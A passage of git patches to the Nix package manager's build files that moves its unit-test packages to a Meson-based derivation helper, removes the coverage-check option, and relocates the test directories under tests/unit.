"nix-fetchers-tests"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - # ./meson.options - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; outputs = [ "out" "dev" ]; @@ -70,8 +60,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -85,8 +75,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -106,8 +95,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/nix-flake-tests/package.nix b/src/nix-flake-tests/package.nix index 21af753ae..a7783593a 100644 --- a/src/nix-flake-tests/package.nix +++ b/src/nix-flake-tests/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -16,40 +17,29 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-flake-tests"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - # ./meson.options - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; outputs = [ "out" "dev" ]; @@ -70,8 +60,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -85,8 +75,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -106,8 +95,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/nix-store-test-support/package.nix b/src/nix-store-test-support/package.nix index 0f4ea73ba..250f29b86 100644 --- a/src/nix-store-test-support/package.nix +++ b/src/nix-store-test-support/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -14,40 +15,29 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-store-test-support"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - # ./meson.options - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; outputs = [ "out" "dev" ]; @@ -67,8 +57,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -82,8 +72,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -91,8 +80,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/nix-store-tests/package.nix b/src/nix-store-tests/package.nix index dc987b3c6..e6750771f 100644 --- a/src/nix-store-tests/package.nix +++ b/src/nix-store-tests/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -18,40 +19,29 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-store-tests"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - # ./meson.options - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; outputs = [ "out" "dev" ]; @@ -74,8 +64,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -89,8 +79,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -115,8 +104,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/nix-util-test-support/package.nix b/src/nix-util-test-support/package.nix index 795159ebf..42a56d58f 100644 --- a/src/nix-util-test-support/package.nix +++ b/src/nix-util-test-support/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -13,40 +14,29 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-util-test-support"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - # ./meson.options - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; outputs = [ "out" "dev" ]; @@ -65,8 +55,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -80,8 +70,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -89,8 +78,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) diff --git a/src/nix-util-tests/package.nix b/src/nix-util-tests/package.nix index 9df8153b6..2491d8722 100644 --- a/src/nix-util-tests/package.nix +++ b/src/nix-util-tests/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , releaseTools , meson @@ -17,40 +18,29 @@ # Configuration Options , versionSuffix ? "" - -# Check test coverage of Nix. Probably want to use with at least -# one of `doCheck` or `doInstallCheck` enabled. -, withCoverageChecks ? false }: let inherit (lib) fileset; version = lib.fileContents ./.version + versionSuffix; - - mkDerivation = - if withCoverageChecks - then - # TODO support `finalAttrs` args function in - # `releaseTools.coverageAnalysis`. - argsFun: - releaseTools.coverageAnalysis (let args = argsFun args; in args) - else stdenv.mkDerivation; in -mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-util-tests"; inherit version; - src = fileset.toSource { - root = ./.; - fileset = fileset.unions [ - ./meson.build - # ./meson.options - (fileset.fileFilter (file: file.hasExt "cc") ./.) - (fileset.fileFilter (file: file.hasExt "hh") ./.) - ]; - }; + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; outputs = [ "out" "dev" ]; @@ -72,8 +62,8 @@ mkDerivation (finalAttrs: { # "Inline" .version so it's not a symlink, and includes the suffix. # Do the meson utils, without modification. '' - echo ${version} > .version - cp -r ${../../build-utils-meson} build-utils-meson + chmod u+w ./.version + echo ${version} > ../../.version ''; mesonFlags = [ @@ -87,8 +77,7 @@ mkDerivation (finalAttrs: { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 - strictDeps = !withCoverageChecks; + strictDeps = true; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; @@ -108,8 +97,4 @@ mkDerivation (finalAttrs: { platforms = lib.platforms.unix ++ lib.platforms.windows; }; -} // lib.optionalAttrs withCoverageChecks { - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - hardeningDisable = [ "fortify" ]; }) From 11946817f0858115f8afbfacd5b65d47552d37a7 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 1 Jul 2024 14:31:04 -0400 Subject: [PATCH 0972/1251] fileset for store unit test data --- src/nix-store-tests/package.nix | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/src/nix-store-tests/package.nix b/src/nix-store-tests/package.nix index e6750771f..243b9f149 100644 --- a/src/nix-store-tests/package.nix +++ b/src/nix-store-tests/package.nix @@ -86,14 +86,18 @@ mkMesonDerivation (finalAttrs: { passthru = { tests = { run = let - # Inline some drv files shared with the libexpr tests - data = runCommand "${finalAttrs.pname}-test-data" {} '' - cp -r --no-preserve=mode ${./data} $out - cp -r --remove-destination ${../../tests/functional/derivation}/* $out/derivation/ - ''; + # Some data is shared with the functional tests: they create it, + # we consume it. + data = lib.fileset.toSource { + root = ../..; + fileset = lib.fileset.unions [ + ./data + ../../tests/functional/derivation + ]; + }; in runCommand "${finalAttrs.pname}-run" {} '' PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" - export _NIX_TEST_UNIT_DATA=${data} + export _NIX_TEST_UNIT_DATA=${data + "/src/nix-store-test/data"} nix-store-tests touch $out ''; From 451f8a8c19e2ab95999553f5bf3a1fb056877933 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 1 Jul 2024 00:25:57 -0400 Subject: [PATCH 0973/1251] Put back files for now We'll revert this sometime later --- .gitignore | 10 +- maintainers/flake-module.nix | 122 +++++++++--------- packaging/components.nix | 16 +-- src/nix-expr-test-support | 1 + src/nix-expr-test-support/.version | 1 - src/nix-expr-test-support/build-utils-meson | 1 - src/nix-expr-tests | 1 + src/nix-expr-tests/.version | 1 - src/nix-expr-tests/build-utils-meson | 1 - src/nix-fetchers-tests | 1 + src/nix-fetchers-tests/.version | 1 - src/nix-fetchers-tests/build-utils-meson | 1 - src/nix-flake-tests | 1 + src/nix-flake-tests/.version | 1 - src/nix-flake-tests/build-utils-meson | 1 - src/nix-store-test-support | 1 + src/nix-store-test-support/.version | 1 - src/nix-store-test-support/build-utils-meson | 1 - src/nix-store-tests | 1 + src/nix-store-tests/.version | 1 - src/nix-store-tests/build-utils-meson | 1 - .../advanced-attributes-defaults.drv | 1 - ...d-attributes-structured-attrs-defaults.drv | 1 - .../advanced-attributes-structured-attrs.drv | 1 - .../data/derivation/advanced-attributes.drv | 1 - src/nix-util-test-support | 1 + src/nix-util-test-support/.version | 1 - src/nix-util-test-support/build-utils-meson | 1 - src/nix-util-tests | 1 + src/nix-util-tests/.version | 1 - src/nix-util-tests/build-utils-meson | 1 - tests/unit/libexpr-support/.version | 1 + tests/unit/libexpr-support/build-utils-meson | 1 + .../unit/libexpr-support}/meson.build | 0 .../unit/libexpr-support}/package.nix | 6 +- .../unit/libexpr-support}/tests/libexpr.hh | 0 .../libexpr-support}/tests/nix_api_expr.hh | 0 .../libexpr-support}/tests/value/context.cc | 0 .../libexpr-support}/tests/value/context.hh | 0 tests/unit/libexpr/.version | 1 + tests/unit/libexpr/build-utils-meson | 1 + .../unit/libexpr}/data/.gitkeep | 0 .../unit/libexpr}/derived-path.cc | 0 .../unit/libexpr}/error_traces.cc | 0 .../unit/libexpr}/eval.cc | 0 .../unit/libexpr}/json.cc | 0 .../unit/libexpr}/main.cc | 0 .../unit/libexpr}/meson.build | 0 .../unit/libexpr}/nix_api_expr.cc | 0 .../unit/libexpr}/nix_api_external.cc | 0 .../unit/libexpr}/nix_api_value.cc | 0 .../unit/libexpr}/package.nix | 6 +- .../unit/libexpr}/primops.cc | 0 .../unit/libexpr}/search-path.cc | 0 .../unit/libexpr}/trivial.cc | 0 .../unit/libexpr}/value/context.cc | 0 .../unit/libexpr}/value/print.cc | 0 .../unit/libexpr}/value/value.cc | 0 tests/unit/libfetchers/.version | 1 + tests/unit/libfetchers/build-utils-meson | 1 + .../data/public-key/defaultType.json | 0 .../data/public-key/noRoundTrip.json | 0 .../libfetchers}/data/public-key/simple.json | 0 .../unit/libfetchers}/meson.build | 0 .../unit/libfetchers}/package.nix | 6 +- .../unit/libfetchers}/public-key.cc | 0 tests/unit/libflake/.version | 1 + tests/unit/libflake/build-utils-meson | 1 + .../unit/libflake}/data/.gitkeep | 0 .../unit/libflake}/flakeref.cc | 0 .../unit/libflake}/meson.build | 0 .../unit/libflake}/package.nix | 6 +- .../unit/libflake}/url-name.cc | 0 tests/unit/libstore-support/.version | 1 + tests/unit/libstore-support/build-utils-meson | 1 + .../unit/libstore-support}/meson.build | 0 .../unit/libstore-support}/package.nix | 6 +- .../libstore-support}/tests/derived-path.cc | 0 .../libstore-support}/tests/derived-path.hh | 0 .../unit/libstore-support}/tests/libstore.hh | 0 .../libstore-support}/tests/nix_api_store.hh | 0 .../libstore-support}/tests/outputs-spec.cc | 0 .../libstore-support}/tests/outputs-spec.hh | 0 .../unit/libstore-support}/tests/path.cc | 0 .../unit/libstore-support}/tests/path.hh | 0 .../unit/libstore-support}/tests/protocol.hh | 0 tests/unit/libstore/.version | 1 + tests/unit/libstore/build-utils-meson | 1 + .../unit/libstore}/common-protocol.cc | 0 .../unit/libstore}/content-address.cc | 0 .../data/common-protocol/content-address.bin | Bin .../data/common-protocol/drv-output.bin | Bin .../optional-content-address.bin | Bin .../common-protocol/optional-store-path.bin | Bin .../data/common-protocol/realisation.bin | Bin .../libstore}/data/common-protocol/set.bin | Bin .../data/common-protocol/store-path.bin | Bin .../libstore}/data/common-protocol/string.bin | Bin .../libstore}/data/common-protocol/vector.bin | Bin .../advanced-attributes-defaults.drv | 1 + .../advanced-attributes-defaults.json | 0 ...d-attributes-structured-attrs-defaults.drv | 1 + ...-attributes-structured-attrs-defaults.json | 0 .../advanced-attributes-structured-attrs.drv | 1 + .../advanced-attributes-structured-attrs.json | 0 .../data/derivation/advanced-attributes.drv | 1 + .../derivation/bad-old-version-dyn-deps.drv | 0 .../libstore}/data/derivation/bad-version.drv | 0 .../data/derivation/dynDerivationDeps.drv | 0 .../data/derivation/dynDerivationDeps.json | 0 .../data/derivation/output-caFixedFlat.json | 0 .../data/derivation/output-caFixedNAR.json | 0 .../data/derivation/output-caFixedText.json | 0 .../data/derivation/output-caFloating.json | 0 .../data/derivation/output-deferred.json | 0 .../data/derivation/output-impure.json | 0 .../derivation/output-inputAddressed.json | 0 .../unit/libstore}/data/derivation/simple.drv | 0 .../libstore}/data/derivation/simple.json | 0 .../unit/libstore}/data/machines/bad_format | 0 .../unit/libstore}/data/machines/valid | 0 .../unit/libstore}/data/nar-info/impure.json | 0 .../unit/libstore}/data/nar-info/pure.json | 0 .../data/path-info/empty_impure.json | 0 .../libstore}/data/path-info/empty_pure.json | 0 .../unit/libstore}/data/path-info/impure.json | 0 .../unit/libstore}/data/path-info/pure.json | 0 .../data/serve-protocol/build-options-2.1.bin | Bin .../data/serve-protocol/build-options-2.2.bin | Bin .../data/serve-protocol/build-options-2.3.bin | Bin .../data/serve-protocol/build-options-2.7.bin | Bin .../data/serve-protocol/build-result-2.2.bin | Bin .../data/serve-protocol/build-result-2.3.bin | Bin .../data/serve-protocol/build-result-2.6.bin | Bin .../data/serve-protocol/content-address.bin | Bin .../data/serve-protocol/drv-output.bin | Bin .../serve-protocol/handshake-to-client.bin | Bin .../optional-content-address.bin | Bin .../serve-protocol/optional-store-path.bin | Bin .../data/serve-protocol/realisation.bin | Bin .../libstore}/data/serve-protocol/set.bin | Bin .../data/serve-protocol/store-path.bin | Bin .../libstore}/data/serve-protocol/string.bin | Bin .../unkeyed-valid-path-info-2.3.bin | Bin .../unkeyed-valid-path-info-2.4.bin | Bin .../libstore}/data/serve-protocol/vector.bin | Bin .../libstore}/data/store-reference/auto.txt | 0 .../data/store-reference/auto_param.txt | 0 .../data/store-reference/local_1.txt | 0 .../data/store-reference/local_2.txt | 0 .../store-reference/local_shorthand_1.txt | 0 .../store-reference/local_shorthand_2.txt | 0 .../libstore}/data/store-reference/ssh.txt | 0 .../libstore}/data/store-reference/unix.txt | 0 .../data/store-reference/unix_shorthand.txt | 0 .../data/worker-protocol/build-mode.bin | Bin .../worker-protocol/build-result-1.27.bin | Bin .../worker-protocol/build-result-1.28.bin | Bin .../worker-protocol/build-result-1.29.bin | Bin .../worker-protocol/build-result-1.37.bin | Bin .../client-handshake-info_1_30.bin | 0 .../client-handshake-info_1_33.bin | Bin .../client-handshake-info_1_35.bin | Bin .../data/worker-protocol/content-address.bin | Bin .../worker-protocol/derived-path-1.29.bin | Bin .../worker-protocol/derived-path-1.30.bin | Bin .../data/worker-protocol/drv-output.bin | Bin .../worker-protocol/handshake-to-client.bin | Bin .../keyed-build-result-1.29.bin | Bin .../optional-content-address.bin | Bin .../worker-protocol/optional-store-path.bin | Bin .../worker-protocol/optional-trusted-flag.bin | Bin .../data/worker-protocol/realisation.bin | Bin .../libstore}/data/worker-protocol/set.bin | Bin .../data/worker-protocol/store-path.bin | Bin .../libstore}/data/worker-protocol/string.bin | Bin .../unkeyed-valid-path-info-1.15.bin | Bin .../worker-protocol/valid-path-info-1.15.bin | Bin .../worker-protocol/valid-path-info-1.16.bin | Bin .../libstore}/data/worker-protocol/vector.bin | Bin .../libstore}/derivation-advanced-attrs.cc | 0 .../unit/libstore}/derivation.cc | 0 .../unit/libstore}/derived-path.cc | 0 .../unit/libstore}/downstream-placeholder.cc | 0 .../unit/libstore}/machines.cc | 0 .../unit/libstore}/meson.build | 0 .../unit/libstore}/nar-info-disk-cache.cc | 0 .../unit/libstore}/nar-info.cc | 0 .../unit/libstore}/nix_api_store.cc | 0 .../unit/libstore}/outputs-spec.cc | 0 .../unit/libstore}/package.nix | 10 +- .../unit/libstore}/path-info.cc | 0 .../unit/libstore}/path.cc | 0 .../unit/libstore}/references.cc | 0 .../unit/libstore}/serve-protocol.cc | 0 .../unit/libstore}/store-reference.cc | 0 .../unit/libstore}/worker-protocol.cc | 0 tests/unit/libutil-support/.version | 1 + tests/unit/libutil-support/build-utils-meson | 1 + .../unit/libutil-support}/meson.build | 0 .../unit/libutil-support}/package.nix | 6 +- .../tests/characterization.hh | 0 .../unit/libutil-support}/tests/hash.cc | 0 .../unit/libutil-support}/tests/hash.hh | 0 .../libutil-support}/tests/nix_api_util.hh | 0 .../libutil-support}/tests/string_callback.cc | 0 .../libutil-support}/tests/string_callback.hh | 0 tests/unit/libutil/.version | 1 + .../unit/libutil}/args.cc | 0 tests/unit/libutil/build-utils-meson | 1 + .../unit/libutil}/canon-path.cc | 0 .../unit/libutil}/chunked-vector.cc | 0 .../unit/libutil}/closure.cc | 0 .../unit/libutil}/compression.cc | 0 .../unit/libutil}/config.cc | 0 .../unit/libutil}/data/git/check-data.sh | 0 .../libutil}/data/git/hello-world-blob.bin | Bin .../unit/libutil}/data/git/hello-world.bin | Bin .../unit/libutil}/data/git/tree.bin | Bin .../unit/libutil}/data/git/tree.txt | 0 .../unit/libutil}/file-content-address.cc | 0 .../unit/libutil}/git.cc | 2 +- .../unit/libutil}/hash.cc | 0 .../unit/libutil}/hilite.cc | 0 .../unit/libutil}/json-utils.cc | 0 .../unit/libutil}/logging.cc | 0 .../unit/libutil}/lru-cache.cc | 0 .../unit/libutil}/meson.build | 0 .../unit/libutil}/nix_api_util.cc | 0 .../unit/libutil}/package.nix | 6 +- .../unit/libutil}/pool.cc | 0 .../unit/libutil}/references.cc | 0 .../unit/libutil}/spawn.cc | 0 .../unit/libutil}/suggestions.cc | 0 .../unit/libutil}/tests.cc | 0 .../unit/libutil}/url.cc | 0 .../unit/libutil}/xml-writer.cc | 0 237 files changed, 129 insertions(+), 121 deletions(-) create mode 120000 src/nix-expr-test-support delete mode 120000 src/nix-expr-test-support/.version delete mode 120000 src/nix-expr-test-support/build-utils-meson create mode 120000 src/nix-expr-tests delete mode 120000 src/nix-expr-tests/.version delete mode 120000 src/nix-expr-tests/build-utils-meson create mode 120000 src/nix-fetchers-tests delete mode 120000 src/nix-fetchers-tests/.version delete mode 120000 src/nix-fetchers-tests/build-utils-meson create mode 120000 src/nix-flake-tests delete mode 120000 src/nix-flake-tests/.version delete mode 120000 src/nix-flake-tests/build-utils-meson create mode 120000 src/nix-store-test-support delete mode 120000 src/nix-store-test-support/.version delete mode 120000 src/nix-store-test-support/build-utils-meson create mode 120000 src/nix-store-tests delete mode 120000 src/nix-store-tests/.version delete mode 120000 src/nix-store-tests/build-utils-meson delete mode 120000 src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv delete mode 120000 src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv delete mode 120000 src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv delete mode 120000 src/nix-store-tests/data/derivation/advanced-attributes.drv create mode 120000 src/nix-util-test-support delete mode 120000 src/nix-util-test-support/.version delete mode 120000 src/nix-util-test-support/build-utils-meson create mode 120000 src/nix-util-tests delete mode 120000 src/nix-util-tests/.version delete mode 120000 src/nix-util-tests/build-utils-meson create mode 120000 tests/unit/libexpr-support/.version create mode 120000 tests/unit/libexpr-support/build-utils-meson rename {src/nix-expr-test-support => tests/unit/libexpr-support}/meson.build (100%) rename {src/nix-expr-test-support => tests/unit/libexpr-support}/package.nix (93%) rename {src/nix-expr-test-support => tests/unit/libexpr-support}/tests/libexpr.hh (100%) rename {src/nix-expr-test-support => tests/unit/libexpr-support}/tests/nix_api_expr.hh (100%) rename {src/nix-expr-test-support => tests/unit/libexpr-support}/tests/value/context.cc (100%) rename {src/nix-expr-test-support => tests/unit/libexpr-support}/tests/value/context.hh (100%) create mode 120000 tests/unit/libexpr/.version create mode 120000 tests/unit/libexpr/build-utils-meson rename {src/nix-expr-tests => tests/unit/libexpr}/data/.gitkeep (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/derived-path.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/error_traces.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/eval.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/json.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/main.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/meson.build (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/nix_api_expr.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/nix_api_external.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/nix_api_value.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/package.nix (94%) rename {src/nix-expr-tests => tests/unit/libexpr}/primops.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/search-path.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/trivial.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/value/context.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/value/print.cc (100%) rename {src/nix-expr-tests => tests/unit/libexpr}/value/value.cc (100%) create mode 120000 tests/unit/libfetchers/.version create mode 120000 tests/unit/libfetchers/build-utils-meson rename {src/nix-fetchers-tests => tests/unit/libfetchers}/data/public-key/defaultType.json (100%) rename {src/nix-fetchers-tests => tests/unit/libfetchers}/data/public-key/noRoundTrip.json (100%) rename {src/nix-fetchers-tests => tests/unit/libfetchers}/data/public-key/simple.json (100%) rename {src/nix-fetchers-tests => tests/unit/libfetchers}/meson.build (100%) rename {src/nix-fetchers-tests => tests/unit/libfetchers}/package.nix (94%) rename {src/nix-fetchers-tests => tests/unit/libfetchers}/public-key.cc (100%) create mode 120000 tests/unit/libflake/.version create mode 120000 tests/unit/libflake/build-utils-meson rename {src/nix-flake-tests => tests/unit/libflake}/data/.gitkeep (100%) rename {src/nix-flake-tests => tests/unit/libflake}/flakeref.cc (100%) rename {src/nix-flake-tests => tests/unit/libflake}/meson.build (100%) rename {src/nix-flake-tests => tests/unit/libflake}/package.nix (94%) rename {src/nix-flake-tests => tests/unit/libflake}/url-name.cc (100%) create mode 120000 tests/unit/libstore-support/.version create mode 120000 tests/unit/libstore-support/build-utils-meson rename {src/nix-store-test-support => tests/unit/libstore-support}/meson.build (100%) rename {src/nix-store-test-support => tests/unit/libstore-support}/package.nix (93%) rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/derived-path.cc (100%) rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/derived-path.hh (100%) rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/libstore.hh (100%) rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/nix_api_store.hh (100%) rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/outputs-spec.cc (100%) rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/outputs-spec.hh (100%) rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/path.cc (100%) rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/path.hh (100%) rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/protocol.hh (100%) create mode 120000 tests/unit/libstore/.version create mode 120000 tests/unit/libstore/build-utils-meson rename {src/nix-store-tests => tests/unit/libstore}/common-protocol.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/content-address.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/content-address.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/drv-output.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/optional-content-address.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/optional-store-path.bin (100%) rename 